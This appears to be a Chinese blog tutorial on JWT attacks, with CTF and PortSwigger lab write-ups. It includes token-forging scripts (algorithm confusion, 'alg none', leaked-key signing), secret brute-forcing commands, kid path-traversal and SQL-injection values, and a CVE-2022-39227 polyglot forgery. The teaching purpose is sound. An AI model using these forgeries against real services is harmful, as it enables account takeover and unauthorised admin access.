浅析JWT Attack

花瓣小跑 · 2022-12-14 22:18:53

前言

在2022祥云杯时遇到有关JWT的题，当时没有思路，对JWT进行学习后来对此进行简单总结，希望能对正在学习JWT的师傅们有所帮助。
JWT

JWT，即JSON WEB TOKEN，它是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范，是一种标准化的格式，用于在系统之间发送经过加密签名的JSON数据，理论上可以包含任何类型的数据，但最常用于发送关于用户的信息（“声明”），以进行身份认证、会话处理和访问控制。
简单了解了它的定义后，我们接下来来看一下JWT的组成部分它分为三个部分，如下所示

1、Headers:头部 2、Payload:有效载荷 3、Signature:签名

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这三个部分以.符号来连接，所以JWT的格式通常是xxx.yyy.zzz这种样子
Headers

Headers通常由两部分组成，令牌的类型和签名算法，常见的算法有很多种，例如 HMAC SHA256或 RSA。但它也还有一个kid参数，这是一个可选参数，全称是key ID，它用于指定加密算法的密钥。
示例如下

ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9

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这就是一个Headers，当我们对它进行Base64解码就可以看到它的具体内容，具体如下

{ "alg": "HS256", "typ": "JWT" }

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alg指的就是算法，这里的算法就是HS256，typ指的是令牌类型。这里需要说明一点，就是明文在加密时其实采用的是Base64URL加密，这种加密方式并非Base64encode+URLencode，而是对一些特殊字符进行了替换，具体说明如下

JWT 作为一个令牌(token)，有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64有三个字符+、/和=，在 URL 里面有特殊含义，所以要被替换掉：=被省略、+替换成-，/替换成_ 。这就是 Base64URL 算法。

Payload

有效载荷就是存放有效信息的地方，其中包含声明。声明包含三个部分 1、已注册声明这个部分的话就是已经预先定义过的声明，常见的声明主要有以下几种

iss: jwt签发者 sub: jwt所面向的用户 aud: 接收jwt的一方 exp: jwt的过期时间，这个过期时间必须要大于签发时间 nbf: 定义在什么时间之前，该jwt都是不可用的. iat: jwt的签发时间 jti: jwt的唯一身份标识，主要用来作为一次性token,从而回避重放攻击。

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2、公共的声明这些可以由使用 JWT 的人随意定义，一般用于添加用户的相关信息或其他业务需要的必要信息。但不建议添加敏感信息，因为该部分在客户端可进行解码.3、私有的声明这些是为在同意使用它们的各方之间共享信息而创建的自定义声明，私有声明是提供者和消费者所共同定义的声明，一般不建议存放敏感信息。
示例如下

ewoJInN1YiI6ICJhZG1pbiIsCiAgICAidXNlcl9yb2xlIiA6ICJhZG1pbiIsCiAgICAiaXNzIjogImFkbWluIiwKICAgICJpYXQiOiAxNTczNDQwNTgyLAogICAgImV4cCI6IDE1NzM5NDAyNjcsIAogICAgIm5iZiI6IDE1NzM0NDA1ODIsIAogICAgImp0aSI6ICJkZmY0MjE0MTIxZTgzMDU3NjU1ZTEwYmQ5NzUxZDY1NyIgICAKfQ

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进行base64URL解码，结果如下

{ "sub": "admin", //jwt所面向的用户 "user_role" : "admin", //当前登录用户 "iss": "admin", //该JWT的签发者,有些是URL "iat": 1573440582, //签发时间 "exp": 1573940267, //过期时间 "nbf": 1573440582, //该时间之前不接收处理该Token "jti": "dff4214121e83057655e10bd9751d657" //Token唯一标识 }

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Signature

由于头部和有效载荷以明文形式存储，因此，需要使用签名来防止数据被篡改。所以这部分是一个签证信息，这个签证信息由三部分组成

1、header (base64URL编码) 2、payload (base64URL编码) 3、secret（密钥）

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它的计算方式如下

Signature=HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret) //假设这里是HS256算法，如果是其他算法的话开头设置为其他算法即可

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现在了解了JWT的大致作用和其组成，接下来来学习一下JWT攻击。
JWT 攻击

JWT攻击有多种情况，现在来对其进行逐一讲解。
敏感信息泄露

JWT保证的是数据传输过程中的完整性而不是机密性。

因为JWT的payload部分是使用Base64url编码的，所以它其实是相当于明文传输的，当payload中携带了敏感信息时，我们对payload部分进行Base64url解码，就可以读取到payload中携带的敏感信息。
靶场演示

题目链接https://www.ctfhub.com/#/skilltree题目描述如下

JWT 的头部和有效载荷这两部分的数据是以明文形式传输的，如果其中包含了敏感信息的话，就会发生敏感信息泄露。试着找出FLAG。格式为 flag{}

进入环境后发现一个登录框

随便输入账号密码，登录后发现界面如下

查看此时的JWT

[img=720,169.11793855302278]https://img-blog.csdnimg.cn/575278709cab4589add8c63812d61d87.png[/img]

想到题目中说头部和载荷可能会有敏感泄露，将值取出分别进行Base64URL解码

[img=720,142.17391304347825]https://img-blog.csdnimg.cn/92106043a1824fb385fee32193eae6cd.png[/img]
两处拼接一下，得到ctfhub{bb89d985db8cea6a2f2d34cb}

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算法修改攻击

首先来简述一下JWT中两个常用的加密算法

HMAC(HS256):是一种对称加密算法，使用秘密密钥对每条消息进行签名和验证RSA(RS256)：是一种非对称加密算法，使用私钥加密明文，公钥解密密文。

从上面不难看出，HS256自始至终只有一个密钥，而RS256是有两个密钥的。在通常情况下，HS256的密钥我们是不能取到的，RS256的密钥也是很难获得的，RS256的的公钥相对较容易获取，但无论是HS256加密还是RS256加密，都是无法实现伪造JWT的，但当我们修改RSA256算法为HS256算法时，后端代码会使用公钥作为密钥，然后用HS256算法验证签名，如果我们此时有公钥，那么此时我们就可与实现JWT的伪造。
靶场演示

题目链接https://www.ctfhub.com/#/skilltree
题目描述

有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时，有时攻击者可以获取到公钥，此时可通过修改JWT头部的签名算法，将非对称密码算法改为对称密码算法，从而达到攻击者目的。

进入环境后发现题目代码

class JWTHelper { public static function encode($payload=array(), $key='', $alg='HS256') { return JWT::encode($payload, $key, $alg); } public static function decode($token, $key, $alg='HS256') { try{ $header = JWTHelper::getHeader($token); $algs = array_merge(array($header->alg, $alg)); return JWT::decode($token, $key, $algs); } catch(Exception $e){ return false; } } public static function getHeader($jwt) { $tks = explode('.', $jwt); list($headb64, $bodyb64, $cryptob64) = $tks; $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64)); return $header; } } $FLAG = getenv("FLAG"); $PRIVATE_KEY = file_get_contents("/privatekey.pem"); $PUBLIC_KEY = file_get_contents("./publickey.pem"); if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!empty($_POST['username']) && !empty($_POST['password'])) { $token = ""; if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){ $jwt_payload = array( 'username' => $_POST['username'], 'role'=> 'admin', ); $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256'); } else { $jwt_payload = array( 'username' => $_POST['username'], 'role'=> 'guest', ); $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256'); } @setcookie("token", $token, time()+1800); header("Location: /index.php"); exit(); } else { @setcookie("token", ""); header("Location: /index.php"); exit(); } } else { if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) { $obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY); if ($obj->role === 'admin') { echo $FLAG; } } else { show_source(__FILE__); } } ?>

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简单的看一下，大致意思就是当以用户名为admin，密码不是$flag时，此时登录后JWT中payload的role是guest，而只有当role为admin时才能够得到Flag，所以我们这里肯定是需要伪造JWT的，我们先以admin为用户名，随便输入密码登录一下此时得到JWT，将其拿去解密网站https://jwt.io解密一下
[img=720,555.6388415672914]https://img-blog.csdnimg.cn/5782695e21cf4b9ab14b514e3e67ac8f.png[/img]

发现加密方式是RS256非对称加密，想到在登录时，下方给出了公钥
[img=720,119.33701657458563]https://img-blog.csdnimg.cn/1126e92edf774aa59cf7aff9b3bcc9eb.png[/img]
所以这里就可以尝试更改算法为HS256，以公钥作为密钥来进行签名和验证，因此我们构造一个伪造JWT的脚本，内容如下

import jwt import base64 public ="""-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqizf1rnxqfeyCAp52TQO 3uEyeB1HzqqbO8FBHWqLlhgmyPFqaopXVhZryzP+Sd6a3iQd8xeD7URswPHE4roA kbI1GMta9zAdD1yPtp//JNZ55hx1iFY2n9gw2u8VL64n9sCc56H46L3W52Z37kvW q5LuoLAuyJpP7Ofadt7biWaeXibZGQjPwlbCy31DyxdDFCt8pVrajVI97w3amHBU Xhd0Ku+DOq9hjadtQbTkbIkAUR84yqt+25EXd/rg1w8we9ysNcTjAeUayRGPuQmX UWJaFpsvuL7WeUb2xJqvieFwsCQppS1ZgaoRc0F835K+G3s3qWRi4AnvZxryfTzl awIDAQAB -----END PUBLIC KEY----- """ payload={ "username": "admin","role": "admin"} print(jwt.encode(payload, key=public, algorithm='HS256'))

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此时运行完后发现报错
[img=720,135.3146853146853]https://img-blog.csdnimg.cn/d267f4e5d53d4ddb975aa82d8ade13ed.png[/img]
这个是因为源代码中进行了校验，我们简单设置一下即可,源代码文件地址如下

/usr/lib/python3/dist-packages/jwt/algorithms.py

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我们在它的校验前面增加这样一句话

invalid_strings=[]

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[img=720,435.8677685950413]https://img-blog.csdnimg.cn/a7c4c013efe14ba890cea0720dd6afb1.png[/img]
此时保存退出，再运行文件即可得到新JWT

[img=720,51.52804642166344]https://img-blog.csdnimg.cn/5c0d4d06fc1f43de99ca552cf43b3b6e.png[/img]

将新的JWT拿到网站中替换旧的JWT，刷新网站即可得到flag
[img=720,210.78758949880668]https://img-blog.csdnimg.cn/b463460a0c554ceab36af618145cf1bb.png[/img]
未验证签名

当用户端提交请求给应用程序，服务端可能没有对token签名进行校验，这样，攻击者便可以通过提供无效签名简单地绕过安全机制，此时就造成了越权漏洞的出现。假设现有payload如下

{ "iat": 1668871293, "exp": 1668878493, "nbf": 1668871293, "sub": "quan9i", }

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这里的quan9i是普通用户，按理说的话它是无法访问到管理员的界面的，但由于这里的签名是没有验证的，当我们修改payload时，这个JWT仍然有效，所以我们修改payload如下

{ "iat": 1668871293, "exp": 1668878493, "nbf": 1668871293, "sub": "admin", }

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此时就垂直越权，变成了管理员用户，可以访问管理员的界面。
靶场演示

题目环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature题目描述

本实验使用基于 JWT 的机制来处理会话。由于实施缺陷，服务器不会验证它收到的任何 JWT 的签名。

题目要求

要解决实验室问题，请修改您的会话令牌以获取对管理面板的访问权限/admin，然后删除用户carlos。

题目条件

您可以使用以下凭据登录到您自己的帐户：wiener:peter

打开环境后发现Cookie中没什么东西，但想到题目给出了账号，那就先找登录点，发现有个My account

[img=720,331.47385103011095]https://img-blog.csdnimg.cn/52ffdb0c2ce24391a28462d3ae290eb7.png[/img]

点击查看，发现是登录界面，将刚刚题目条件中所给的用户名和密码放入
[img=720,207.56756756756758]https://img-blog.csdnimg.cn/e797b483bcb949548d9355d45b097fd4.png[/img]
此时查看cookie
[img=720,190.78864353312304]https://img-blog.csdnimg.cn/cc5dfe9a3a41451289b357f6b79531ec.png[/img]
具体内容为

eyJraWQiOiIxYmE5NjA0Ny0wNjBiLTQ0MTAtODg1NC01YWYxYTQ2ZTljYWEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTI5NzgxMH0.JMb3Ttl7WLoVrTfcEq03VIafh7zDMu5_nhMtPc3qnhgENSl1WbMAMFfeTa-v0jS69A13W-J3_ccslHu25OW_SRPAq2GuAUoFfEGtthnP-PaDWFN2_UIIcaeAx8rj8bNy65apX37EnTx-sPo274XjW9hQgTRLT1ifHtfihvTzoOY94_2bLaR4JwSUoyoi_kXZW4IndvhqpHA2kn8jw2aQOJCCCjeHh2r_CDDQA1hrSKeP2FgIq07wagLZqzkG6ATexINTNI_4jwpO8Jy1U-l0voPQQ6g111GCkBDhhkCagnm4zh-_Kl2nDD-Xjp74VVZDCNojbLoeS2Y6RGPZ4GR28w

复制代码

对第一个.后和第二个.之前的内容进行解码（此部分内容为有效载荷）得到

{"iss":"portswigger","sub":"wiener","exp":1669297810}

复制代码

题目提示了这里不校验签名，所以我们修改payload如下

{"iss":"portswigger","sub":"administrator","exp":1669297810}

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再对其进行Base64URL编码，替换掉原来的payload，此时就得到了新的JWT，将新的JWT放入session中，重新访问此界面，发现多了一个功能点
[img=720,180.9]https://img-blog.csdnimg.cn/e47f58e51b1c41b5a97a0156aa0abbd1.png[/img]
发现可以删除用户
[img=720,174.44933920704847]https://img-blog.csdnimg.cn/99cd09dbe26346cf9df045e94d698d8d.png[/img]
任务完成。

[img=720,177.22177091795288]https://img-blog.csdnimg.cn/31d29030dcdd44c1b8affa828bc9fe2b.png[/img]

空加密算法

这里需要先介绍一些利用的知识点

将signature置空。利用node的jsonwentoken库已知缺陷：当jwt的signature为null或undefined时，jsonwebtoken会采用algorithm为none进行验证

JWT支持使用空加密算法，可以在header中指定alg为none，此时只要把signature设置为空，提交到服务器，任何token都可以通过服务器的验证。
假设现有JWT(解码后的，无signature的)如下

{ "alg" : "Hs256", "typ" : "jwt" } { "user" : "quan9i" }

复制代码

这里我们指定alg为None，修改Payload中的user为admin，如下所示

{ "alg" : "None", "typ" : "jwt" } { "user" : "admin" }

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此时再进行Base64URL编码，就可以实现越权，得到管理员才可以访问的界面。
靶场演示

靶场环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification题目描述

本实验使用基于 JWT 的机制来处理会话。服务器未安全地配置为接受未签名的 JWT。

题目要求

要解决实验室问题，请修改您的会话令牌以获取对管理面板的访问权限/admin，然后删除用户carlos。

题目条件

您可以使用以下凭据登录到您自己的帐户：wiener:peter

进入环境后先去登录
[img=720,356.9534555712271]https://img-blog.csdnimg.cn/faa63c8af5304a92b41ee75e3e9ac6c1.png[/img]

得到JWT，题目提示了接受未签名的JWT，所以将第二个点后的内容直接删除，而后再对前面内容进行Base64解码

{"kid":"16adc077-c753-4bbe-a9df-46688c01ac46","alg":"RS256"}.{"iss":"portswigger","sub":"wiener","exp":1669304815}.

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修改headers中的alg为none，修改payload中的sub为administrator，然后分别进行Base64URL编码，即可得到新的JWT，在网站中对JWT进行替换，接下来再次访问此网站，发现新功能点。

[img=720,214.15599534342257]https://img-blog.csdnimg.cn/69030d4d002340f6a8c1ccac0582ed21.png[/img]

点进去发现有删除用户的功能

[img=720,166.84870848708488]https://img-blog.csdnimg.cn/dfdd2ae211d546d1b52d03c573aadf51.png[/img]

任务完成。

[img=720,173.35384615384615]https://img-blog.csdnimg.cn/913d067da48645cc86542d580d04faa7.png[/img]
爆破密钥

这个的话其实就是使用工具来对密钥进行爆破，从而实现越权。这个的话在参考过其他师傅的文章后发现是有一些条件的，具体如下所示

1、JWT使用的加密算法是HS256加密算法 2、一段有效的、已签名的token 3、签名用的密钥不复杂（弱密钥）

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然后这里还需要介绍一下爆破密钥用的工具，链接如下https://github.com/brendan-rius/c-jwt-cracker安装方式如下所示

1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载 2、make #编译

复制代码

使用方式如下

./jwtcrack JWT

复制代码

[img=720,66.05911330049261]https://img-blog.csdnimg.cn/dff5f5afb976470ab9b29907b7b1b3d4.png[/img]
这是一个，还有一个爆破工具，可以引用字典，链接如下https://github.com/Sjord/jwtcrack安装方式如下所示

1、git clone https://github.com/Sjord/jwtcrack 2、pip install PyJWT tqdm

复制代码

它的使用方式如下

python3 crackjwt.py JWT dictionary.txt //字典文件是自己写入的

复制代码

靶场演示

题目描述

本实验使用基于 JWT 的机制来处理会话。它使用极弱的密钥来签署和验证令牌。这可以很容易地使用一个包含常见secret的单词表来暴力破解。

题目要求

要解决实验室问题，请首先暴力破解网站的密钥。获得此后，使用它签署修改后的会话令牌，使您可以访问管理面板/admin，然后删除用户carlos

题目条件

您可以使用以下凭据登录到您自己的帐户：wiener:peter

进入环境后，依旧是先登录获取当前JWT
[img=720,320.55415617128466]https://img-blog.csdnimg.cn/5d9d18c4e3fd470095610ff48f4fc728.png[/img]
因为题目已经提示了这里用的是暴力破解，所以我们用刚刚提到的工具，来爆破一下密钥

./jwtcrack eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE

复制代码

[img=720,47.70101925254813]https://img-blog.csdnimg.cn/3c9ae0117c424306a462f0ceca25ba33.png[/img]
这里爆破多次均未得到密钥，所以我们选择换另一个工具，自己找个字典来进行爆破字典链接https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list接下来使用工具指定字典来进行爆破

python3 crackjwt.py eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE dictionary.txt

复制代码

得到密钥为secret1进入解码网站https://jwt.io,对jwt进行解码[img=720,366.40776699029124]https://img-blog.csdnimg.cn/ba5a27c1bce14d7884c9182b062b56e4.png[/img]
修改payload中的sub为administrator，再在下方写入密钥secret1，生成新JWT[img=720,353.5764158262219]https://img-blog.csdnimg.cn/ba47bbb1b07240f7891f9cf5125b3ad1.png[/img]
拿到网站中替换原JWT，发现新功能点
[img=720,222.20689655172413]https://img-blog.csdnimg.cn/793aa155e32f44d6a5c823caf5bb3308.png[/img]
访问后发现可以删除用户
[img=720,369.4029850746269]https://img-blog.csdnimg.cn/254ea596c4b4426fbe8ef84087f45d49.png[/img]
任务完成。
[img=720,201.9512195121951]https://img-blog.csdnimg.cn/c2e6f1f7d055485fb32dd69dea892c46.png[/img]

Kid参数注入

前文在简述Headers提到，它还有一个可选参数kid，当Headers中存在这个参数时，我们可以通过修改这个参数实现目录遍历、SQL注入等攻击

#目录遍历 { "kid" : "/etc/passwd" }

复制代码

Kid参数的逻辑是类似于sql="select * from table where kid=$kid"这种，所以它是存在SQL注入漏洞的，示例如下

#sql注入 { "kid" : "0 union select 123" }

复制代码

此时它的Kid就被我们恶意篡改为123，此时就相当于拿到了Key，可以伪造JWT，实现越权。
靶场演示

靶场地址https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal题目描述

本实验使用基于 JWT 的机制来处理会话。为了验证签名，服务器使用JWTkid标头中的参数从其文件系统中获取相关密钥

题目要求

要解决实验室问题，请伪造一个 JWT，使您可以访问管理面板/admin，然后删除用户carlos。

题目条件

您可以使用以下凭据登录到您自己的帐户：wiener:peter

进入环境后，登录获取JWT安装插件
[img=720,325.4961832061069]https://img-blog.csdnimg.cn/b5af8a0ca9004f58996582e0bec75454.png[/img]
安装后选择New Symmetric Key，生成一个Key

接下来修改K参数为AA==，点击确认抓靶场的包
[img=720,643.9154616240266]https://img-blog.csdnimg.cn/c6e6c8f8b5af445281371005f099008e.png[/img]
点击下面的sign

将此时的JWT去替换网站的JWT，再刷新网站
[img=720,214.44976076555025]https://img-blog.csdnimg.cn/2208bd69b1f0409e8405f2008a30223c.png[/img]
成功越权
[img=720,245.64705882352942]https://img-blog.csdnimg.cn/833aae8f6bd546aa83a62ec2956980f8.png[/img]

简单说一下这里的原理：这里其实就是利用了kid的目录遍历攻击，我们将kid参数指向标准文件/dev/null，此时我们再利用bp的工具设置一个空的签名密钥，就实现了越权，成功得到管理员权限。
同时，这个Kid是Headers的一部分，Headers其实还有两个不常用的参数，即Jwk和Jku，这两个的话也是存在漏洞的，他们的攻击方式同Kid是较为相似的，所以这里不再去演示如何攻击。靶场环境如下，有兴趣的师傅可以看看。https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection
JWT攻击实例

CVE-2022-39227

这个的话并没有给出具体的POC，但是官方在commit中最下方给出了测试代码https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9具体代码如下所示

""" Test claim forgery vulnerability fix """ from datetime import timedelta from json import loads, dumps from test.common import generated_keys from test import python_jwt as jwt from pyvows import Vows, expect from jwcrypto.common import base64url_decode, base64url_encode @Vows.batch class ForgedClaims(Vows.Context): """ Check we get an error when payload is forged using mix of compact and JSON formats """ def topic(self): """ Generate token """ payload = {'sub': 'alice'} return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)) class PolyglotToken(Vows.Context): """ Make a forged token """ def topic(self, topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) parsed_payload['sub'] = 'bob' parsed_payload['exp'] = 2000000000 fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' class Verify(Vows.Context): """ Check the forged token fails to verify """ @Vows.capture_error def topic(self, topic): """ Verify the forged token """ return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256']) def token_should_not_verify(self, r): """ Check the token doesn't verify due to mixed format being detected """ expect(r).to_be_an_error() expect(str(r)).to_equal('invalid JWT format')

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重点在中间部分，也就是这里

def topic(self, topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) parsed_payload['sub'] = 'bob' parsed_payload['exp'] = 2000000000 fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

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可以看到这里的话首先是对JWT进行了拆分，我们知道JWT的格式是xxx.yyy.zzz，这个以.来分离，那就是把三部分拆分开来，分别赋值给了header、payload和signature，接下来将进行了base64URL以及json解码的payload赋值给了parsed_payload，而后将新内容sub=bob以及exp=2000000000放入了parsed_payload中，将进行过Base64编码和json编码的parsed_payload赋值给了fake_payload，最终生成的JWT格式如下

{" header.fake_payload.":"","protected":"header", "payload":"payload","signature":"signature"}

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此时就完成了JWT的伪造。
那么这个漏洞是如何产生的呢？接下来我们看一下源文件。查看python_jwt/__init__.py文件
[img=720,471.3178294573643]https://img-blog.csdnimg.cn/6d3db09afdb54c8bb833892101d607ef.png[/img]
首先看到 header, claims, _ = jwt.split('.')，它按.进行拆分，如何分别将三部分赋值给headers,claims以及_。接下来就是对头部进行解码，而后检验头部算法，后面也是校验属性的，接下来走到JWS这里

if pub_key: #验证是否传入密钥 token = JWS() token.allowed_algs = allowed_algs token.deserialize(jwt, pub_key) # 传入整个用户的JWT，JWS对JWT进行反序列化处理 parsed_claims = json_decode(token.payload) # JWS对传入部分进行json解码

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跟进反序列化，看它是怎么做的
[img=720,475.17857142857144]https://img-blog.csdnimg.cn/ff7ca7e6864548c087a66f1496a2cd77.png[/img]
这里的话就是首先尝试对传入的JWT进行解析，我们知道这里传入的是完整的原始JWT，而非拆分后的某个部分，JWT的格式是xxx.yyy.zzz这种，而json能解析的是{"a":1,"b":2,"c":3,"d":4,"e":5}这种格式的，所以它无疑会走向except ValueError这里，然后它对值进行拆分，分别赋给protected、payload和signature，然后就将o赋值给了self.objects，这里的话还有一个verify(key,alg)函数，我们跟进一下

这里可以看到它其实是对JWT的各部分内容进行了一个检验，它这里检验的是原来的完整的JWT，所以这个肯定是没有问题的，这个验证肯定是可以通过的。
我们此时回到__init__.py
[img=720,610.1343570057581]https://img-blog.csdnimg.cn/15d371bce2e44a5ab63d4b2b6a81f358.png[/img]
发现这里在校验过后，后面都没有再用到token这个，后面是对header和claims中的一些参数进行校验，然后将parsed_header和parsed_claims值返回了。这里就是问题所在，在对整个JWT进行校验过后，没有返回校验过的数据，而是返回一开始进行点分过后的数据。
我们的恶意payload如下所示
[img=600,222.42152466367713]https://img-blog.csdnimg.cn/bce679b9c98f4361ad5a948594356b67.png[/img]
此时拆分后他一直在校验的是后面的灰色部分，这部分是原始的JWT，校验肯定是可以通过的，而我们最终返回的数据是前面的forged_payload,所以无论前面怎么添加，怎么替换，校验都是可以通过的。此时你再去看官方给出的测试代码就可以理解它的思路了。
CTF实战

CTFshow系列

Web345

打开靶场，进入环境
[img=720,399.61267605633805]https://img-blog.csdnimg.cn/70f1fb991d374a1b812a547b61a0e078.png[/img]
看一下源代码
[img=720,155.33527696793004]https://img-blog.csdnimg.cn/7c3d6e7d4a4e4047ac86c73aeba8f505.png[/img]
提示了admin界面，先记着。同时刚刚发现cookie含有JWT，放入网站https://jwt.io/中查看一下
[img=720,459.6021699819168]https://img-blog.csdnimg.cn/812bb7f70bcc4b518159343c74cdb05e.png[/img]
加密方式为空加密，所以这里的话，我们base64解码一下，然后直接修改sub为admin，再进行base64编码，放入cookie中即可，接下来访问admin界面
[img=720,526.8484187568157]https://img-blog.csdnimg.cn/839983716ff94934a5b3e1b6c0e06572.png[/img]

web346

这里进入环境后，接下来进入靶场，看一下JWT，用解密网站解密一下
[img=720,443.8569880823402]https://img-blog.csdnimg.cn/8e491fe8fb594e88969736025538186d.png[/img]
发现有了加密格式，然后这里存在一种漏洞就是可以把加密方式换成空加密来绕过，但是这个网站是不能直接修改的，我们这里可以借助python脚本实现，脚本如下所示

import time import jwt # payload token_dict={ "iss": "admin", "iat": 1668871293, "exp": 1668878493, "nbf": 1668871293, "sub": "admin", "jti": "9892b9d99098ba229891bedcfa856b61" } # headers headers = { "alg": "none", "typ": "JWT" } jwt_token = jwt.encode(token_dict, # payload, 有效载体 key='', headers=headers, # json web token 数据结构包含两部分, payload(有效载体), headers(标头) algorithm="none", # 指明签名算法方式, 默认也是HS256 ) # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str print(jwt_token)

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注:这里安装jwt模块的时候，安装的模块是PyJWT模块，同时不要给脚本名字命名为jwt.py，否则运行脚本时就会发生报错。

[img=720,582.1276595744681]https://img-blog.csdnimg.cn/d86ebffc78b441f1b008b057f5119379.png[/img]
接下来运行脚本
[img=720,357.2373081463991]https://img-blog.csdnimg.cn/2ef70249dc2641d28cccafe16863c7aa.png[/img]
得到JWT

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2ODg3MTI5MywiZXhwIjoxNjY4ODc4NDkzLCJuYmYiOjE2Njg4NzEyOTMsInN1YiI6ImFkbWluIiwianRpIjoiOTg5MmI5ZDk5MDk4YmEyMjk4OTFiZWRjZmE4NTZiNjEifQ.

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去靶场中替换一下，同时访问admin界面
[img=720,512.2622950819672]https://img-blog.csdnimg.cn/3ecdf083c0a849d0a2f223d1597cfd5a.png[/img]
Web347

提示弱口令，这里应该说的是密钥，先记着进入环境后找到JWT去对应网站解码
[img=720,418.61842105263156]https://img-blog.csdnimg.cn/10291561aedf4ed7bb36dcc388031769.png[/img]
HS256加密方式，我们这里的话需要猜解一下密钥，然后修改才有效，既然提示了弱口令，那就可以试试123456这种，修改sub为admin，得到新JWT后去靶场中修改JWT，然后访问admin界面
[img=720,262.5503355704698]https://img-blog.csdnimg.cn/cb1bb25b33f34e5fa6b9f0f8a067b8e7.png[/img]

Web348

[img=720,206.4064602960969]https://img-blog.csdnimg.cn/edd84516dfdb41109248a822c810f8ef.png[/img]
题目提示爆破，这里就需要先介绍一个爆破工具了，链接如下https://github.com/brendan-rius/c-jwt-cracker安装方式也很简单

1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载 2、make #编译
3、./jwtcrack JWT #使用

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这里将靶场中的JWT放入其中
[img=720,84.56100342075257]https://img-blog.csdnimg.cn/fc1181e1ac2b44eab8c637ef15ddd6df.png[/img]
爆破出密钥为aaab，接下来方法就同上，在解码网站中，修改sub为admin，同时添加密钥为aaab，然后拿着得到的新JWT，去替换网站的JWT，再去访问admin界面即可。
[img=720,305.4267515923567]https://img-blog.csdnimg.cn/816f1e86c2114fad8245176fc267f18d.png[/img]
Web349

题目给了一个附件，内容如下

/* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var privateKey = fs.readFileSync(process.cwd()+'//public//private.key'); var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' }); res.cookie('auth',token); res.end('where is flag?'); }); router.post('/',function(req,res,next){ var flag="flag_here"; res.type('html'); var auth = req.cookies.auth; var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key jwt.verify(auth, cert, function(err, decoded) { if(decoded.user==='admin'){ res.end(flag); }else{ res.end('you are not admin'); } }); });

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这里发现可以获取公钥和私钥，RSA是用私钥加密，公钥解密，那么我们这里有私钥了，就可以自己写内容，然后用私钥加密，接下来用公钥解密就是我们伪造的内容，所以接下来访问url /private.key获取私钥，然后写个小脚本即可

import jwt public = open('private.key', 'r').read() payload={"user":"admin"} print(jwt.encode(payload, key=public, algorithm='RS256'))

复制代码

[img=720,199.875]https://img-blog.csdnimg.cn/a9014b556b9848fb8c1fc74f0913636a.png[/img]
接下来替换JWT，然后post访问
[img=720,563.84]https://img-blog.csdnimg.cn/de3449314dcb4793968080d9f14dfad1.png[/img]
web350

题目给了附件，在里面发现公钥
[img=720,263.8105975197294]https://img-blog.csdnimg.cn/32a99d67a71f49db9137e6292ac32483.png[/img]
这里的话应该考察的就是算法修改攻击，然后我们这里修改算法为HS256,而后用公钥加密，脚本如下

const jwt = require('jsonwebtoken'); var fs = require('fs'); var privateKey = fs.readFileSync('public.key'); var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' }); console.log(token)

复制代码

运行脚本需要安装jsonwebtoken库
[img=720,213.0841121495327]https://img-blog.csdnimg.cn/a8009de6dfc14509a871d2457e5a0387.png[/img]
